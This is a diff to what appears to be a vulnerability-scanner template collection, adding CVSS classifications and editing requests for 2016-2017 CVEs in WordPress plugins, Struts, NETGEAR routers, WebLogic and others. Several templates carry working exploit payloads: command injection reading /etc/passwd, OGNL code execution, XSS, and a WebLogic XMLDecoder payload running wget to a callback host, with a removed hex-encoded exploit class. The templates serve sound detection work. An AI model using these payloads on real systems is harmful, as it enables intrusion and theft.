--- a/cves/2016/CVE-2016-1000152.yaml
+++ b/cves/2016/CVE-2016-1000152.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin tidio-form v1.0
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000152
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000152
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000153.yaml
+++ b/cves/2016/CVE-2016-1000153.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000153
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000153
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin tidio-gallery v1.1"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000154.yaml
+++ b/cves/2016/CVE-2016-1000154.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin whizz v1.0.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000154
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000154
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000155.yaml
+++ b/cves/2016/CVE-2016-1000155.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000155
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000155
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin wpsolr-search-engine v7.6"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-10033.yaml
+++ b/cves/2016/CVE-2016-10033.yaml
@ -2,28 +2,27 @@ id: CVE-2016-10033
 info:
  name: Wordpress 4.6 Remote Code Execution
  author: princechaddha
-  severity: high
+  severity: critical
  description: The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
  reference: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
  tags: wordpress,cve,cve2016,rce
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2016-10033
+    cwe-id: CWE-77

 requests:
  - raw:
      - |+
        GET /?author=1 HTTP/1.1
        Host: {{Hostname}}
-        Cache-Control: max-age=0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
-        Accept-Language: en-US,en;q=0.9
-        Connection: close

      - |+
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
-        Connection: close
-        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Accept: */*
-        Content-Length: 56
        Content-Type: application/x-www-form-urlencoded

        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
--- a/cves/2016/CVE-2016-10956.yaml
+++ b/cves/2016/CVE-2016-10956.yaml
@ -9,6 +9,11 @@ info:
    - https://cxsecurity.com/issue/WLB-2016080220
    - https://wpvulndb.com/vulnerabilities/8609
  tags: cve,cve2016,wordpress,wp-plugin,lfi
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2016-10956
+    cwe-id: CWE-20

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-10960.yaml
+++ b/cves/2016/CVE-2016-10960.yaml
@ -3,13 +3,18 @@ id: CVE-2016-10960
 info:
  name: wSecure Lite < 2.4 - Remote Code Execution (RCE)
  author: daffainfo
-  severity: critical
+  severity: high
  description: The wsecure plugin before 2.4 for WordPress has remote code execution via shell metacharacters in the wsecure-config.php publish parameter.
  reference:
    - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960
  tags: cve,cve2016,wordpress,wp-plugin,rce
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.80
+    cve-id: CVE-2016-10960
+    cwe-id: CWE-20

 requests:
  - method: POST
--- a/cves/2016/CVE-2016-10993.yaml
+++ b/cves/2016/CVE-2016-10993.yaml
@ -8,6 +8,12 @@ info:
    - https://www.vulnerability-lab.com/get_content.php?id=1808
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10993
  tags: cve,cve2016,wordpress,wp-theme,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.40
+    cve-id: CVE-2016-10993
+    cwe-id: CWE-79
+  description: "The ScoreMe theme through 2016-04-01 for WordPress has XSS via the s parameter."

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-2004.yaml
+++ b/cves/2016/CVE-2016-2004.yaml
@ -9,6 +9,11 @@ info:
  reference:
    - https://www.exploit-db.com/exploits/39858
    - https://nvd.nist.gov/vuln/detail/CVE-2016-2004
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2016-2004
+    cwe-id: CWE-306

 network:
  - inputs:
--- a/cves/2016/CVE-2016-2389.yaml
+++ b/cves/2016/CVE-2016-2389.yaml
@ -9,6 +9,11 @@ info:
    - https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/
    - https://www.cvedetails.com/cve/CVE-2016-2389
  tags: cve,cve2016,lfi,sap
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2016-2389
+    cwe-id: CWE-22

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-3081.yaml
+++ b/cves/2016/CVE-2016-3081.yaml
@ -10,13 +10,17 @@ info:
    - https://cwiki.apache.org/confluence/display/WW/S2-032
    - https://struts.apache.org/docs/s2-032.html
  tags: cve,cve2016,struts,rce,apache
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.10
+    cve-id: CVE-2016-3081
+    cwe-id: CWE-77

 requests:
  - raw:
      - |
        GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
-        Content-Length: 4

    matchers-condition: and
    matchers:
--- a/cves/2016/CVE-2016-5649.yaml
+++ b/cves/2016/CVE-2016-5649.yaml
@ -4,9 +4,14 @@ info:
  name: NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure
  author: suman_kar
  severity: critical
-  description: Vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. Attacker can use this password to gain administrator access of the targeted routers web interface.
+  description: A vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router's web interface.
  tags: cve,cve2016,iot,netgear,router
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-5649
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2016-5649
+    cwe-id: CWE-200

 requests:
  - raw:
@ -32,4 +37,4 @@ requests:
        part: body
        group: 1
        regex:
-          - '<b>Success "([a-z]+)"'
+          - '<b>Success "([a-z]+)"'
--- a/cves/2016/CVE-2016-6277.yaml
+++ b/cves/2016/CVE-2016-6277.yaml
@ -0,0 +1,32 @@
+id: CVE-2016-6277
+
+info:
+  name: NETGEAR routers (including R6400, R7000, R8000 and similar) RCE
+  author: pikpikcu
+  severity: high
+  description: NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly other routers allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
+  tags: cve,cves2016,netgear,rce,iot
+  reference:
+    - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-6277
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
+    cvss-score: 8.80
+    cve-id: CVE-2016-6277
+    cwe-id: CWE-352
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
--- a/cves/2016/CVE-2016-7552.yaml
+++ b/cves/2016/CVE-2016-7552.yaml
@ -7,6 +7,11 @@ info:
  description: On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
  reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
  tags: cve,cve2016,lfi
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2016-7552
+    cwe-id: CWE-22

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-7981.yaml
+++ b/cves/2016/CVE-2016-7981.yaml
@ -8,6 +8,11 @@ info:
    Cross-site scripting (XSS) vulnerability in valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-7981
  tags: cve,cve2016,xss,spip
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-7981
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-8527.yaml
+++ b/cves/2016/CVE-2016-8527.yaml
@ -0,0 +1,38 @@
+id: CVE-2016-8527
+
+info:
+  name: Aruba Airwave - (XSS)
+  author: pikpikcu
+  severity: medium
+  description: Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS).
+  reference:
+    - https://www.exploit-db.com/exploits/41482
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-8527
+  tags: cves,cve2016,aruba,xss
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-8527
+    cwe-id: CWE-79
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - text/html
--- a/cves/2017/CVE-2017-1000028.yaml
+++ b/cves/2017/CVE-2017-1000028.yaml
@ -7,6 +7,11 @@ info:
  description: Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.
  reference: https://www.exploit-db.com/exploits/45196
  tags: cve,cve2017,oracle,glassfish,lfi
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2017-1000028
+    cwe-id: CWE-22

 requests:
  - method: GET
--- a/cves/2017/CVE-2017-1000170.yaml
+++ b/cves/2017/CVE-2017-1000170.yaml
@ -7,6 +7,11 @@ info:
  reference: https://www.exploit-db.com/exploits/49693
  description: jqueryFileTree 2.1.5 and older Directory Traversal
  tags: cve,cve2017,wordpress,wp-plugin,lfi
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2017-1000170
+    cwe-id: CWE-22

 requests:
  - method: POST
--- a/cves/2017/CVE-2017-1000486.yaml
+++ b/cves/2017/CVE-2017-1000486.yaml
@ -11,16 +11,18 @@ info:
    - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
  tags: cve,cve2017,primetek,rce
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2017-1000486
+    cwe-id: CWE-326

 requests:
  - raw:
      - |
        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
-        Connection: close
-        Content-Length: 160
        Accept: */*
-        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

--- a/cves/2017/CVE-2017-10075.yaml
+++ b/cves/2017/CVE-2017-10075.yaml
@ -3,10 +3,14 @@ id: CVE-2017-10075
 info:
  name: Oracle Content Server XSS
  author: madrobot
-  severity: medium
+  severity: high
  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
  reference: http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
  tags: cve,cve2017,xss,oracle
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
+    cvss-score: 8.20
+    cve-id: CVE-2017-10075

 requests:
  - method: GET
--- a/cves/2017/CVE-2017-10271.yaml
+++ b/cves/2017/CVE-2017-10271.yaml
@ -8,7 +8,11 @@ info:
  reference:
    - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
    - https://github.com/SuperHacker-liuan/cve-2017-10271-poc
-  tags: cve,cve2017,rce,oracle,weblogic
+  tags: cve,cve2017,rce,oracle,weblogic,oob
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+    cvss-score: 7.50
+    cve-id: CVE-2017-10271

 requests:
  - raw:
@ -17,43 +21,28 @@ requests:
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
-        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
-        Connection: close
        Content-Type: text/xml
-        Content-Length: 5178

        <?xml version="1.0" encoding="utf-8"?>
-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+        <soapenv:Envelope
+            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
-                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
-                    <java>
-                        <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
-                            <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
-                        </void>
-                        <void class="org.mozilla.classfile.DefiningClassLoader">
-                            <void method="defineClass">
-                                <string>com.supeream.exploits.XmlExp</string>
-                                <object idref="cls"></object>
-                                <void method="newInstance">
-                                    <void method="say" id="proc">
-                                        <string>cat /etc/passwd</string>
-                                    </void>
+                <work:WorkContext
+                    xmlns:work="http://bea.com/2004/06/soap/workarea/">
+                    <java version="1.4.0" class="java.beans.XMLDecoder">
+                        <void class="java.lang.ProcessBuilder">
+                            <array class="java.lang.String" length="3">
+                                <void index="0">
+                                    <string>/bin/bash</string>
                                </void>
-                            </void>
-                        </void>
-                        <void class="java.lang.Thread" method="currentThread">
-                            <void method="getCurrentWork">
-                                <void method="getResponse">
-                                    <void method="getServletOutputStream">
-                                        <void method="writeStream">
-                                            <object idref="proc"></object>
-                                        </void>
-                                        <void method="flush"/>
-                                    </void>
-                                    <void method="getWriter"><void method="write"><string></string></void></void>
+                                <void index="1">
+                                    <string>-c</string>
                                </void>
-                            </void>
-                        </void>
+                                <void index="2">
+                                    <string>wget {{interactsh-url}}</string>
+                                </void>
+                            </array>
+                            <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
@ -61,7 +50,7 @@ requests:
        </soapenv:Envelope>

    matchers:
-      - type: regex
-        regex:
-          - 'root:.*:0:0'
-        part: body
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"
--- a/Show More
+++ b/Show More